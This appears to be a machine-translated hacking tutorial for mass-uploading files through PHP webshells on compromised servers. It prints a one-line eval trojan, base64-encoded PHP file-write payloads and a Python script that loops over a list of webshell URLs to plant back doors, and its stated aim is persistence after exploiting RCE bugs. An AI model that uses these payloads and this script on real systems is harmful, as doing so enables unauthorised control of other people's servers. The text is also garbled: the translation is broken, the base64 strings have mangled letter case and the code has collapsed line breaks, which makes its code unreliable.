PHP implementation Batch Upload single file _php instance

A lot of times when we grab a lot of webshell through a generic rce bug, we might want to send a back door for later use. At this time, we can not help but face a problem, using a kitchen knife upload is too slow, then how fast to achieve the bulk upload file? This article tells you how to implement this kind of demand based on PHP.

Analysis of 0x01 principle

First of all, we must understand how the kitchen knife is through a word trojan to implement the Web server file management.

The following is the most common PHP word trojan:

<?php eval ($_post[1]);?>

When we put a word of wood immediately to the Web server, we can directly in the kitchen knife input the above password (1 in the example above) to connect to the server to manage files.

So, here's how the kitchen knife through a simple word can be implemented on the server management and control it? By analyzing the principle of the chopper, it's not hard to see that the chopper is using the Eval function to execute the command statement passed over the Post method.

Therefore, if we want to implement the file upload by means of a chopper, just send a POST request with a file write command to the URL containing a sentence on the remote service, for example:

POST:

1= @eval ($_post[z0]); &z0=echo $_server[' document_root '];

The above code contains 2 parts:

1. The password of a sentence

2. PHP execution code sent to server side

Now that we know the principle, we just need to send the following POST request to complete the function of uploading a file using a sentence:

POST:

1= @eval (Base64_decode ($_post[z0)); &z0= Qgluav9zzxqoimrpc3bsyxlfzxjyb3jziiwimcipo0bzzxrfdgltzv9saw1pdcgwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0 +fcipozskjgy9jf9qt1nuwyj6msjdowokyz0kx1bpu1rbinoyil07cirjpxn0cl9yzxbsywnlkcjcciisiiisjgmpowokyz1zdhjfcmvwbgfjzsgixg4ilcii Lcrjktskjgj1zj0iijskzm9ykcrppta7jgk8c3rybgvukcrjktskass9mskkicagicridwyupxn1ynn0cigkyywkaswxktskzwnobyhazndyaxrlkgzvcgvuk Crmlcj3iiksjgj1zikpowply2hvkcj8pc0iktskzgllkck7&z1=l3zhci93d3cvcm9vdc8xlnr4da==&z2=agvsbg8gd29ybgqh

A careful analysis of this post data includes the following sections:

1. First is PHP a sentence of the password 1

2. Through the Eval method to perform Base64 decoding of the z0, after decoding the following display:

@ini_set ("Display_errors", "0");
@set_time_limit (0);
@set_magic_quotes_runtime (0);
Echo ("->|");;
$f =base64_decode ($_post["Z1"]);
$c =base64_decode ($_post["Z2"]);
$c =str_replace ("R", "", $c);
$c =str_replace ("\ n", "", $c);
$buf = "";
For ($i =0 $i <strlen ($c); $i +=1)  
  $buf. =substr ($c, $i, 1);
Echo (@fwrite (fopen ($f, "w"), $buf));
Echo ("|<-");
Die ();

3. In z0, continue to invoke Base64 decoded Z1 and Z2 after decoding as follows:

Z1=/var/www/root/1.txt
Z2=hello world!

At this point, we can clearly find that the POST request above is actually going to write a Hello world! The file named 1.txt is uploaded to the server on the/var/www/root/path.

0x02 Code Implementation

Based on the above principle analysis, we can use the following code based on PHP word to achieve the bulk upload file:

#!/usr/bin/python #coding =utf-8 Import urllib import urllib2 import sys import base64 import re def post (URL, data): req = Urllib2. Request (URL) data = Urllib.urlencode (data) opener = Urllib2.build_opener (urllib2. 
  Httpcookieprocessor ()) response = Opener.open (req, data) return Response.read () def get_shell_path (POSTURL,PASSWD):
    Shell_path = "" Try:data = {} data[passwd] = ' @eval (Base64_decode ($_post[z0)); ' 
    data[' z0 ']= ' zwnobyakx1nfulzfulsnu0nssvbux0zjtevoqu1fj107 ' Shell_path = post (posturl, data). Strip () except Exception: Pass return Shell_path def main (): print ' \n+++++++++batch uploading local File (only for PHP Webshell) ++++++++++ \ n ' shellfile = sys.argv[1] # files containing Webshell path and password LocalFile = sys.argv[2] # Local file name to be uploaded shell_file = open (Shellfile, ' RB ') local_content = str (open (LocalFile, ' RB '). Read ()) for eachline in Shell_file:posturl = Eachline.split (', ') [0].s
     Trip () passwd = Eachline.split (', ') [1].strip () Try: Reg = ". */[^/]*\.php?]
        Match_shell_name = Re.search (reg,eachline) if Match_shell_name:shell_name=match_shell_name.group (1)
        Shell_path = Get_shell_path (POSTURL,PASSWD). Strip () Target_path = Shell_path.split (shell_name) [0]+localfile
        Target_path_base64 = Base64.b64encode (target_path) Target_file_url = Eachline.split (shell_name) [0]+localfile
        data = {} DATA[PASSWD] = ' @eval (Base64_decode ($_post[z0)); ' data[' z0 ']= ' Qgluav9zzxqoimrpc3bsyxlfzxjyb3jziiwimcipo0bzzxrfdgltzv9saw1pdcgwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0 +fcipozskjgy9ymfzzty0x2rly29kzsgkx1bpu1rbinoxil0powokyz1iyxnlnjrfzgvjb2rlkcrfue9tvfsiejiixsk7cirjpxn0cl9yzxbsywnlkcjcciis iiisjgmpowokyz1zdhjfcmvwbgfjzsgixg4ilciilcrjktskjgj1zj0iijskzm9ykcrppta7jgk8c3rybgvukcrjktskass9mskkicagicridwyupxn1ynn0c Igkyywkaswxktskzwnobyhazndyaxrlkgzvcgvukcrmlcj3iiksjgj1zikpowply2hvkcj8pc0iktskzgllkck7 ' data[' Z1 ']=target_path _base64 data[' Z2 ']=base64.b64encode (local_content) response = post (posturl, data) if Response:print ' [+] ' +target_file
        _url+ ', Upload succeed! '
      Else:print ' [-] ' +target_file_url+ ', upload failed! '
    Else:print ' [-] ' +posturl+ ', unsupported webshell! '
  Except Exception,e:print ' [-] ' +posturl+ ', Connection failed! ' Shell_file.close () if __name__ = = ' __main__ ': Main ()

Webshell.txt format: [Word Webshell file path],[webshell connection password] is as follows:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

Save the above script for batch_upload_file.py, execute the command python batch_upload_file.py webshell.txt 1.txt, the effect is shown as follows:

The above content to introduce a lot of PHP to upload a single file of the relevant knowledge, I hope you like.